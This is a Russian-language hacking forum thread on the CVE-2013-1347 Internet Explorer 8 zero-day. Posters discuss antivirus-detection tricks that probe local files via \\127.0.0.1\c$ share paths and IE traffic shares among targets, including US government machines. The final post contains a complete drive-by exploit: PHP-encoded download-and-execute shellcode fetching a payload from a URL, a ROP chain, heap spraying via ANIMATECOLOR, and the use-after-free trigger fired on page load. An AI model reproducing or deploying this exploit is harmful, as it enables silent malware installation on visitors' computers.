CVE-2013-1347 ie8 0day

el-

Старожил форума
Легенда
Регистрация
21.10.2006
Сообщения
442
Реакции
12
пока самого сорца триггера баги не видно ( если только на скрине на одном из линков ), поэтому точно сказать не могу, но походу данный эксп располагает возможностью пробивать w7, а стало быть там либо leak, либо какая то другая техника, во всяком случае будем надеяться на что то интересно ... кстати, из интересного, проверки на ав через res://

куча линков, все что известно на данный момент

http://labs.alienvault.com/labs/index.php/...malicious-code/
http://blogs.cisco.com/security/department...ce-capabilities

pre-js сбор данных о плаигнах и ав

https://rstforums.com/forum/68733-javascrip...t-antivirus.rst
http://webcache.googleusercontent.com/sear...p&hl=en&strip=0

ребятами из метасплоит уже запилен эксп к баге, только они его не публикуют потому как еще 0day

https://twitter.com/_sinn3r/status/330920510479294465
 
Пожалуйста, обратите внимание, что пользователь заблокирован
https://rstforums.com/forum/68733-javascrip...t-antivirus.rst
это не через res://
Тут деревяннее - создается пачка тегов <script>, адресами которых указываются не локальные пути, а сетевые шары (чтобы обойти ограничение на кросс-протокол-загрузку) от локалхоста.
В ИЕ тег <script> запускает onload-событие если получит статус 200(ОК). И не важно, корректный скрипт или нет. Таким образом проверяют существование файлов.

Изюминка - это использование адресов вида \\127.0.0.1\c$\Program Files\Avira\AntiVir Desktop\avsda.dll, вместо file:///C:\Program files....
 
rtkm пример статы, только ие траф, позиции такие ie9 ~40% ie10 ~35% ie8 ~17% ie7 ~3% от общего колва. к тому же его видимо активно юзают на компах правительственных учреждений в данном случае США :)
 
Под x86 - с удаленного сервера
Код:
<?
function unesc($s)
{
$out = "";
$res=strtoupper(bin2hex($s));
$g = round(strlen($res)/4);
if ($g != (strlen($res)/4)) $res.="00";
for ($i=0; $i<strlen($res);$i+=4)
$out.="%u".substr($res,$i+2,2).substr($res,$i,2);
return $out;
}

$urla = "http://localhost/load.php";

$shellcode = unesc("\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x64\x65\x61\x64\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\x66\xB9\x65\x41\x51\x33\xC9\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\x6E\x6C\x68\x55\x52\x4C\x44\x54\x50\xFF\xD2\x33\xC9\x8D\x54\x24\x24\x51\x51\x52\xEB\x47\x51\xFF\xD0\x83\xC4\x1C\x33\xC9\x5A\x5B\x53\x52\x51\x68\x78\x65\x63\x61\x88\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53\xFF\xD2\x6A\x05\x8D\x4C\x24\x18\x51\xFF\xD0\x83\xC4\x0C\x5A\x5B\x68\x65\x73\x73\x61\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\xFF\xD0\xE8\xB4\xFF\xFF\xFF".$urla."\x00");
?>

<!doctype html>
<HTML XMLNS:t="urn:schemas-microsoft-com:time">
<head>
<meta>
<IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function mstime_malloc(oArg)
{
shellcode=oArg.shellcode;
offset=oArg.offset;
heapBlockSize=oArg.heapBlockSize;
objId=oArg.objId;
if(offset==undefined){offset=0;}
buf="";
for(i=0;i<heapBlockSize/4;i++)
{
if(i==offset)
{
if(i==0){buf+=shellcode;}
else{buf+=";"+shellcode;}
}
else
{
buf+=";#085d37";
}
}
e=document.getElementById(objId);
if(e==null)
{
eleId="flqTu"
acTag="<t:ANIMATECOLOR id='"+eleId+"'/>"
document.body.innerHTML=document.body.innerHTML+acTag;
e=document.getElementById(eleId);
}
try{e.values=buf;}
catch(e){}
}
function helloWorld()
{
sparkle=unescape("ABCD");
for(i=0;i<2;i++)
{
sparkle+=unescape("ABCD");
}
sparkle+=unescape("AB");
sparkle+=unescape("%ue844%u77c1%ue844%u77c1%u4001%u77c1%ue0da%u77c4%u00f8%u0001%u38ea%u77c2%ue844%u77c1%ufa1c%u77c4%uffff%uffff%uffff%uffff%u27e5%u77c1%u27e5%u77c1%ue0da%u77c4%u1467%u2cfe%ueb80%u77c4%u8fbc%u77c5%u4fcd%u77c3%u04a7%u2cfe%ueb80%u77c4%u4001%u77c1%u048a%u77c3%u7a42%u77c4%u6efb%u77c4%uaacc%u77c2%ub860%u77c3%u110c%u77c1%u2df9%u77c1%u5459%u77c3%u258b%u0100%u0001"+"<?=$shellcode?>");
magenta=unescape("%ud801%u77c4");
for(i=0;i<0x70/4;i++)
{
if(i==0x70/4-1)
{
magenta+=unescape("%u5ed5%u77c1");
}
else
{
magenta+=unescape("%ud801%u77c4");
}
}
magenta+=sparkle;
f0=document.createElement('span');
document.body.appendChild(f0);
f1=document.createElement('span');
document.body.appendChild(f1);
f2=document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{f0.offsetParent=null;}
catch(e){}
f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";
CollectGarbage();
mstime_malloc({shellcode:magenta,heapBlockSize:0x38,objId:"myanim"});
}
function loads()
{
eval(helloWorld());
}
</script>
</head>
<body onload="loads();">
<body>
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх